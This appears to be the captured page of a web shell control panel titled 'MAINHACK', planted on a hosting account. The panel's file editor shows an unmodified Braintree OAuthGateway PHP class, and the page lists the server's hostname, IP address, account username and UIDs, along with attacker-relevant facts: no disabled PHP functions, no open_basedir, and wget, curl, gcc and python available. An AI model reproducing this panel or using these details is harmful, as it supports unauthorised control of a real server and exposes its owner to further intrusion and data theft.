[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OAuthGateway.php
<?php namespace Braintree; /** * Braintree OAuthGateway module * Creates and manages Braintree Addresses * * @package Braintree */ class OAuthGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_http = new Http($gateway->config); $this->_http->useClientCredentials(); $this->_config->assertHasClientCredentials(); } public function createTokenFromCode($params) { $params['grantType'] = "authorization_code"; return $this->_createToken($params); } public function createTokenFromRefreshToken($params) { $params['grantType'] = "refresh_token"; return $this->_createToken($params); } public function revokeAccessToken($accessToken) { $params = ['token' => $accessToken]; $response = $this->_http->post('/oauth/revoke_access_token', $params); return $this->_verifyGatewayResponse($response); } private function _createToken($params) { $params = ['credentials' => $params]; $response = $this->_http->post('/oauth/access_tokens', $params); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if (isset($response['credentials'])) { $result = new Result\Successful( OAuthCredentials::factory($response['credentials']) ); return $this->_mapSuccess($result); } else if (isset($response['result'])) { $result = new Result\Successful( OAuthResult::factory($response['result']) ); return $this->_mapAccessTokenRevokeSuccess($result); } else if (isset($response['apiErrorResponse'])) { $result = new Result\Error($response['apiErrorResponse']); return $this->_mapError($result); } else { throw new Exception\Unexpected( "Expected credentials or apiErrorResponse" ); } } public function _mapError($result) { $error = $result->errors->deepAll()[0]; if ($error->code == Error\Codes::OAUTH_INVALID_GRANT) { $result->error = 'invalid_grant'; } else if ($error->code == Error\Codes::OAUTH_INVALID_CREDENTIALS) { $result->error = 'invalid_credentials'; } else if ($error->code == Error\Codes::OAUTH_INVALID_SCOPE) { $result->error = 'invalid_scope'; } $result->errorDescription = explode(': ', $error->message)[1]; return $result; } public function _mapAccessTokenRevokeSuccess($result) { $result->revocationResult = $result->success; return $result; } public function _mapSuccess($result) { $credentials = $result->credentials; $result->accessToken = $credentials->accessToken; $result->refreshToken = $credentials->refreshToken; $result->tokenType = $credentials->tokenType; $result->expiresAt = $credentials->expiresAt; return $result; } public function connectUrl($params = []) { $query = Util::camelCaseToDelimiterArray($params, '_'); $query['client_id'] = $this->_config->getClientId(); $queryString = preg_replace('/\%5B\d+\%5D/', '%5B%5D', http_build_query($query)); return $this->_config->baseUrl() . '/oauth/connect?' . $queryString; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285